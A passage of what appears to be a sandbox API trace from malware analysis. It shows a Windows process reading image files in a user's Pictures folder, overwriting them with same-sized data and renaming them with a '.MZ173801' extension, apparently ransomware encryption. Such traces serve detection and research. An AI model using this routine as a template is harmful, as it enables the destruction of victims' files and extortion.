MTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.922] GetCurrentThreadId () returned 0x9fc [0122.922] GetCurrentThreadId () returned 0x9fc [0122.922] GetCurrentThreadId () returned 0x9fc [0122.923] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.923] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.923] GetCurrentThreadId () returned 0x9fc [0122.923] GetCurrentThreadId () returned 0x9fc [0122.923] GetCurrentThreadId () returned 0x9fc [0122.923] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\c4 27Qhg4nHWZH.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\c4 27qhg4nhwzh.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.923] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0122.923] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.923] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x3ce7 [0122.923] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.924] ReadFile (in: hFile=0x280, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x3ce7, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0x3ce7, lpOverlapped=0x0) returned 1 [0122.925] CloseHandle (hObject=0x280) returned 1 [0122.925] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\c4 27Qhg4nHWZH.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\c4 27qhg4nhwzh.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.926] WriteFile (in: hFile=0x280, lpBuffer=0x714510*, nNumberOfBytesToWrite=0x3ce7, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesWritten=0x18f6d0*=0x3ce7, lpOverlapped=0x0) returned 1 [0122.927] CloseHandle (hObject=0x280) returned 1 [0122.935] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\c4 27Qhg4nHWZH.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\c4 27qhg4nhwzh.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\c4 27Qhg4nHWZH.gif.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\c4 27qhg4nhwzh.gif.mz173801")) returned 1 [0122.938] GetCurrentThreadId () returned 0x9fc [0122.938] GetCurrentThreadId () returned 0x9fc [0122.938] GetCurrentThreadId () returned 0x9fc [0122.938] GetCurrentThreadId () returned 0x9fc [0122.938] GetCurrentThreadId () returned 0x9fc [0122.938] GetCurrentThreadId () returned 0x9fc [0122.938] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff14fe70, ftCreationTime.dwHighDateTime=0x1d5df3e, ftLastAccessTime.dwLowDateTime=0x7ae744f0, ftLastAccessTime.dwHighDateTime=0x1d5dea3, ftLastWriteTime.dwLowDateTime=0x7ae744f0, ftLastWriteTime.dwHighDateTime=0x1d5dea3, nFileSizeHigh=0x0, nFileSizeLow=0x138a6, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="jNKEP2BOP3Vd KvJnfp.bmp", cAlternateFileName="JNKEP2~1.BMP")) returned 1 [0122.938] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.938] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.938] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\jNKEP2BOP3Vd KvJnfp.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\jnkep2bop3vd kvjnfp.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff14fe70, ftCreationTime.dwHighDateTime=0x1d5df3e, ftLastAccessTime.dwLowDateTime=0x7ae744f0, ftLastAccessTime.dwHighDateTime=0x1d5dea3, ftLastWriteTime.dwLowDateTime=0x7ae744f0, ftLastWriteTime.dwHighDateTime=0x1d5dea3, nFileSizeHigh=0x0, nFileSizeLow=0x138a6)) returned 1 [0122.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.940] GetCurrentThreadId () returned 0x9fc [0122.940] GetCurrentThreadId () returned 0x9fc [0122.940] GetCurrentThreadId () returned 0x9fc [0122.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.941] GetCurrentThreadId () returned 0x9fc [0122.941] GetCurrentThreadId () returned 0x9fc [0122.941] GetCurrentThreadId () returned 0x9fc [0122.941] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\jNKEP2BOP3Vd KvJnfp.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\jnkep2bop3vd kvjnfp.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.944] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0122.944] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.944] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x138a6 [0122.944] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.944] ReadFile (in: hFile=0x280, lpBuffer=0x714510, nNumberOfBytesToRead=0x138a6, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x138a6, lpOverlapped=0x0) returned 1 [0122.946] CloseHandle (hObject=0x280) returned 1 [0122.947] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\jNKEP2BOP3Vd KvJnfp.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\jnkep2bop3vd kvjnfp.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.948] WriteFile (in: hFile=0x280, lpBuffer=0x728540*, nNumberOfBytesToWrite=0x138a6, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x728540*, lpNumberOfBytesWritten=0x18f6d0*=0x138a6, lpOverlapped=0x0) returned 1 [0122.951] CloseHandle (hObject=0x280) returned 1 [0122.953] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\jNKEP2BOP3Vd KvJnfp.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\jnkep2bop3vd kvjnfp.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 